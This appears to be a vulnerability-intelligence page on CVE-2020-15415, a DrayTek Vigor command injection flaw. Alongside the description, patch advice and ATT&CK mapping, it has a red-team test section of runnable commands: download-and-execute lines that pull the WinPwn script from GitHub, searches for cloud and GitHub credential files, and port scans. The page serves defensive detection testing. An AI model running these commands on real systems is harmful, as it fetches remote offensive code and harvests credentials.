CVE-2020-15415

CRITICAL CISA KEV Pub 30/06 Upd 21/10

Overview

This vulnerability is a command injection flaw arising from improper input validation of filenames in the cvmcfgupload functionality on DrayTek Vigor devices. The affected component is the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint, which processes file uploads with the content type text/x-python-script. The root cause is the failure to sanitize shell metacharacters in the filename parameter, enabling injection of arbitrary shell commands.

Vulnerability Description

On DrayTek Vigor3900, Vigor2960, and Vigor300B devices before 1.5.1, cgi-bin/mainfunction.cgi/cvmcfgupload allows remote command execution via shell metacharacters in a filename when the text/x-python-script content type is used, a different issue than CVE-2020-14472.

Impact

An unauthenticated attacker can execute arbitrary system commands on affected DrayTek Vigor devices, resulting in full device compromise. This enables control over network traffic, potential lateral movement within the network, and disruption or manipulation of device operations. No user interaction or credentials are required to exploit this vulnerability, increasing its severity in exposed environments.

Solution

Users should upgrade affected DrayTek Vigor3900, Vigor2960, and Vigor300B devices to firmware version 1.5.1 or later as detailed in the vendor's security advisory available at https://www.draytek.com/about/security-advisory. The advisory provides specific patch instructions and mitigation steps. Applying the official firmware update is the recommended remediation to eliminate this command injection vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in specific DrayTek Vigor devices arises from improper handling of input in the cgi-bin/mainfunction.cgi/cvmcfgupload endpoint. This flaw allows an attacker to execute arbitrary commands on the affected devices by manipulating the filename parameter using shell metacharacters. The issue is particularly critical due to its exploitation potential when the content type is set to text/x-python-script. This misconfiguration creates a pathway for attackers to bypass security mechanisms and gain unauthorized access to the underlying operating system, leading to severe consequences.

Attack vectors for this vulnerability are primarily remote, enabling exploitation without physical access to the device. An attacker could craft a malicious request that includes specially formatted filenames containing shell metacharacters. By sending this request to the vulnerable endpoint, the attacker can execute arbitrary commands, which could range from simple information gathering to full system compromise. Scenarios may include deploying malware, altering configurations, or even using the compromised device as a launchpad for further attacks on the network. The simplicity of the exploit, combined with the high impact, makes this vulnerability particularly dangerous.

The real-world impact of this vulnerability can be significant, especially for organizations relying on the affected DrayTek models for their networking needs. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The business risks associated with such incidents include financial losses, reputational damage, and regulatory penalties, particularly if sensitive customer information is exposed. Furthermore, the compromised devices could be leveraged to conduct attacks on other systems, amplifying the risk and potential fallout for the organization.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as vendors often release patches to address known vulnerabilities. Additionally, organizations should employ network monitoring tools to detect unusual traffic patterns that may indicate exploitation attempts. Implementing strict access controls and network segmentation can also limit the potential damage from a successful attack. Furthermore, conducting regular security assessments and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.

In conclusion, the vulnerability affecting specific DrayTek Vigor devices poses a significant threat due to its potential for remote command execution. The ease of exploitation and the severe implications for affected organizations underscore the importance of proactive security measures. By prioritizing firmware updates, monitoring network activity, and conducting regular security assessments, organizations can better protect themselves from the risks associated with this vulnerability and enhance their overall cybersecurity posture.



CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2020-15415 targeting DrayTek Vigor devices. While the overall exploit landscape remains stable with no new proof-of-concept exploits or ransomware affiliations emerging, this modest uptick signals persistent adversary interest in leveraging this critical remote command execution vulnerability. The continued presence of exploit attempts, albeit at a low and steady level, underscores the necessity for defenders to maintain vigilance in monitoring network traffic and device behavior. Although the risk posture has not escalated dramatically, the vulnerability’s high severity combined with ongoing exploitation attempts sustains its relevance as a significant threat vector within enterprise environments.


Update 2 — July 03, 2026

CSURFACE threat intelligence has identified a modest but discernible increase in exploitation attempts targeting the CVE-2020-15415 vulnerability on DrayTek Vigor devices. While the overall volume remains relatively low, this upward trend signals sustained adversary interest in leveraging this critical remote command execution flaw. Notably, no new proof-of-concept exploits or ransomware affiliations have surfaced, indicating that threat actors continue to rely on established techniques rather than novel methods. This persistence underscores the vulnerability’s enduring attractiveness as an attack vector, particularly given its high severity rating. For defenders, the incremental rise in activity reinforces the importance of ongoing monitoring and detection efforts, as even limited exploitation can lead to significant operational impact if successful. The risk posture remains elevated but stable, reflecting a consistent threat environment without sudden escalation.

Affected Products (3)

Vendor Product Version CPE
draytek Draytek Vigor3900 Firmware All cpe:2.3:o:draytek:vigor3900_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor2960 Firmware All cpe:2.3:o:draytek:vigor2960_firmware:*:*:*:*:*:*:*:*
draytek Draytek Vigor300b Firmware All cpe:2.3:o:draytek:vigor300b_firmware:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

28 events
2026-08-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-09-30
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
39% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
44%
High High
CAPEC-6 Argument Injection
43%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-15415
draytek.com
GitHub CVE x_refsource_MISC
https://www.draytek.com/about/security-advisory
github.com
GitHub CVE x_refsource_MISC
https://github.com/CLP-team/Vigor-Commond-Injection
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-15415